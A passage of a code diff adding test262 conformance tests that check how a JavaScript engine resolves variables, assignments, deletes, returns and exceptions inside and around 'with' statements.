+ $ERROR('#3: p3 is nod defined');
+}
+catch(e){
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === parseInt)){
+ $ERROR('#11: st_parseInt === parseInt. Actual: st_parseInt ==='+ st_parseInt );
+}
+
+if(!isNaN(st_NaN)){
+ $ERROR('#12: st_NaN === NaN. Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === Infinity)){
+ $ERROR('#13: st_Infinity === Infinity. Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === eval)){
+ $ERROR('#14: st_eval === eval. Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === parseFloat)){
+ $ERROR('#15: st_parseFloat === parseFloat. Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === isNaN)){
+ $ERROR('#16: st_isNaN === isNaN. Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === isFinite)){
+ $ERROR('#17: st_isFinite === isFinite. Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try {
+ value;
+ $ERROR('#18: value is not defined');
+} catch(e) {
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T3.js
new file mode 100644
index 000000000..9d68c9c9d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T3.js
@@ -0,0 +1,152 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.11_T3.js
+ * @description Calling a function within "with" statement declared without the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+var f = function(){
+ return value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+}
+
+with(myObj){
+ result = f();
+}
+
+if(!(result === undefined)){
+ $ERROR('#0: result === undefined. Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try{
+ p4;
+ $ERROR('#4: p4 doesn\'t exists');
+}
+catch(e){
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try {
+ value;
+ $ERROR('#18: value is not defined');
+} catch(e) {
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T4.js
new file mode 100644
index 000000000..d2fc84a75
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T4.js
@@ -0,0 +1,155 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.11_T4.js
+ * @description Calling a function within "with" statement declared without the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ with(myObj){
+ f();
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === "x1")){
+ $ERROR('#1: p1 === "x1". Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+try{
+ p3;
+ $ERROR('#3: p3 is nod defined');
+}
+catch(e){
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === parseInt)){
+ $ERROR('#11: st_parseInt === parseInt. Actual: st_parseInt ==='+ st_parseInt );
+}
+
+if(!isNaN(st_NaN)){
+ $ERROR('#12: st_NaN === NaN. Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === Infinity)){
+ $ERROR('#13: st_Infinity === Infinity. Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === eval)){
+ $ERROR('#14: st_eval === eval. Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === parseFloat)){
+ $ERROR('#15: st_parseFloat === parseFloat. Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === isNaN)){
+ $ERROR('#16: st_isNaN === isNaN. Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === isFinite)){
+ $ERROR('#17: st_isFinite === isFinite. Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try {
+ value;
+ $ERROR('#18: value is not defined');
+} catch(e) {
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T5.js
new file mode 100644
index 000000000..9dfc0e5dc
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T5.js
@@ -0,0 +1,155 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.11_T5.js
+ * @description Calling a function within "with" statement declared without the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ var f = function(){
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ with(myObj){
+ f();
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === undefined)){
+ $ERROR('#0: result === undefined. Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try{
+ p4;
+ $ERROR('#4: p4 doesn\'t exists');
+}
+catch(e){
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try {
+ value;
+ $ERROR('#18: value is not defined');
+} catch(e) {
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T1.js
new file mode 100644
index 000000000..6ccbf0ca7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T1.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.12_T1.js
+ * @description Calling a function without "with" statement declared within the statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+f();
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try{
+ p4;
+ $ERROR('#4: p4 doesn\'t exists');
+}
+catch(e){
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try {
+ value;
+ $ERROR('#18: value is not defined');
+} catch(e) {
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T2.js
new file mode 100644
index 000000000..bd0cbe0f8
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T2.js
@@ -0,0 +1,150 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.12_T2.js
+ * @description Calling a function without "with" statement declared within the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ return value;
+ }
+}
+result = f();
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try{
+ p4;
+ $ERROR('#4: p4 doesn\'t exists');
+}
+catch(e){
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T3.js
new file mode 100644
index 000000000..39ab7d395
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T3.js
@@ -0,0 +1,152 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.12_T3.js
+ * @description Calling a function without "with" statement declared within the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ var f = function(){
+ return value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+result = f();
+
+if(!(result === undefined)){
+ $ERROR('#0: result === undefined. Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T4.js
new file mode 100644
index 000000000..49b58c6d5
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T4.js
@@ -0,0 +1,152 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.12_T4.js
+ * @description Calling a function without "with" statement declared within the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
